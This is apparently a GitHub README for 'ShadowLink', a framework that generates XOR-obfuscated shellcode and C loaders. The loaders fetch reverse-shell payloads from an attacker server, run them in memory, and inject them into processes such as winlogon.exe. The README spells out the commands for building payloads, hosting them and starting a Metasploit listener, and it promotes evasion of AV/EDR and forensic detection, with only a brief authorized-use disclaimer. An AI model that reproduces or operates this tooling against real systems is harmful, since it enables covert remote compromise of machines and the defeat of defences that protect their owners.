πŸ•ΆοΈ ShadowLink

September 1, 2025 Β· View on GitHub

Where access meets invisibility.

image

ShadowLink is a next-generation, automated framework for generating, obfuscating, and delivering shellcode through in-memory loaders. Designed for red team operations, penetration testing, and offensive research, ShadowLink empowers attackers to deploy stealthy, fileless payloads that execute directly in memory β€” bypassing traditional AV/EDR detection mechanisms.

With a modular design and seamless automation, ShadowLink turns complex exploitation workflows into one-liner commands, making payload delivery faster, smarter, and more evasive than ever.

✨ Crafted for control. Built for stealth.


image

ShadowLink is a modular framework that automates the creation of custom shellcode loaders with built-in evasion capabilities. The system generates native C programs that download shellcode from a remote server and execute it entirely in memory, leaving minimal forensic artifacts on target systems.

The framework supports multiple execution modes including basic shellcode loading, XOR-obfuscated payloads, and advanced Windows process injection techniques. All components are orchestrated through shell scripts that handle shellcode generation, encoding, loader compilation, and cross-platform builds.

πŸ”₯ Key Features

βœ… Automated Shellcode Generation
β†’ Uses msfvenom to generate raw payloads for Linux & Windows.

βœ… XOR Obfuscation (Optional)
β†’ Encode shellcode with a custom XOR key to evade static detection.

βœ… In-Memory Execution
β†’ Payloads are downloaded and executed directly in memory β€” no disk writes.

βœ… Dual-Platform Support
β†’ Generate native loaders for Linux (via mmap) and Windows (via VirtualAlloc + NtCreateThreadEx).

βœ… Remote Process Injection (Windows)
β†’ Inject shellcode into remote processes like winlogon.exe using low-level NTAPI calls.

βœ… Customizable C Loaders
β†’ Fully templated C code with placeholders for URL, User-Agent, timeout, and size limits.

βœ… No Dependencies (Runtime)
β†’ Final binaries are statically linked and require no external libraries on target.

βœ… Easy Integration with Metasploit
β†’ Works seamlessly with exploit/multi/handler.


image

πŸ› οΈ Installation

git clone https://github.com/your-username/shadowlink.git
cd shadowlink
chmod +x *.sh

πŸ› οΈ Prerequisites

# Debian/Kali/Ubuntu
sudo apt update
sudo apt install \
    gcc \
    mingw-w64 \
    curl \
    libcurl4-openssl-dev \
    xxd \
    python3 \
    metasploit-framework \
    make

πŸš€ Quick Start

  1. Generate a Linux Payload (No XOR)
./main.sh linux 10.10.14.10 5555
  1. Generate a Windows Payload (With XOR)
./main.sh windows 10.10.14.10 4444 xor 0x42

πŸš€ This will:

  • Generate a reverse shell payload.
  • Apply XOR encoding (if enabled).
  • Host the payload on your server (you can use python3 -m http.server 80).
  • Build a custom C loader that downloads and executes the payload in memory.
  • Output a ready-to-use binary: loader_linux or loader_windows.exe.
image
  1. Set Up Your Listener
msfconsole -q -x "
    use exploit/multi/handler;
    set PAYLOAD [linux|windows]/x64/shell_reverse_tcp;
    set LHOST 0.0.0.0;
    set LPORT 5555;
    run
"
  1. Deliver & Execute Transfer the binary to the target and run it. The loader will:
  • Download the shellcode from your server.
  • Decode it (if XOR’d).
  • Allocate executable memory.
  • Execute the payload β€” all in memory.

πŸ“‚ Project Structure

shadowlink/
β”œβ”€β”€ main.sh                     # Main orchestrator (entry point)
β”œβ”€β”€ gen_txt.sh                  # Generates shellcode + XOR encoding
β”œβ”€β”€ gen_xor.sh                  # Applies XOR encoding to binary
β”œβ”€β”€ gen_loader.sh               # Generates basic C loader (no XOR)
β”œβ”€β”€ gen_loader2.sh              # Generates XOR-aware C loader
β”œβ”€β”€ loader_windows_infect.c     # Advanced: Injects into remote process (e.g. winlogon.exe)
β”œβ”€β”€ Makefile                    # Cross-compilation rules
└── README.md

🧼 Evasion Techniques

  • βœ… No Disk Artifacts: Shellcode fetched at runtime.
  • βœ… XOR Encoding: Breaks static signatures.
  • βœ… Custom User-Agent & Timeout: Mimics legitimate traffic.
  • βœ… In-Memory Execution: No PE file parsing.
  • βœ… NTAPI Direct Calls: Evades API hooking on Windows.
image

This tool is for educational and authorized security testing only. I do not support or condone unauthorized hacking. Use responsibly and only on systems you have explicit permission to test.

The author assumes no liability for misuse.

Contributions are highly welcome!

πŸ“œ License GPLv3

🌟 Acknowledgments

  • Inspired by fileless malware techniques and red team tradecraft.
  • Powered by msfvenom, mingw-w64, and the eternal art of offensive engineering.

| ShadowLink β€” Because the best connections are the ones no one sees. | Made with ❀️ and a little bit of darkness.

Python Shell Script Flask License: GPL v3

ko-fi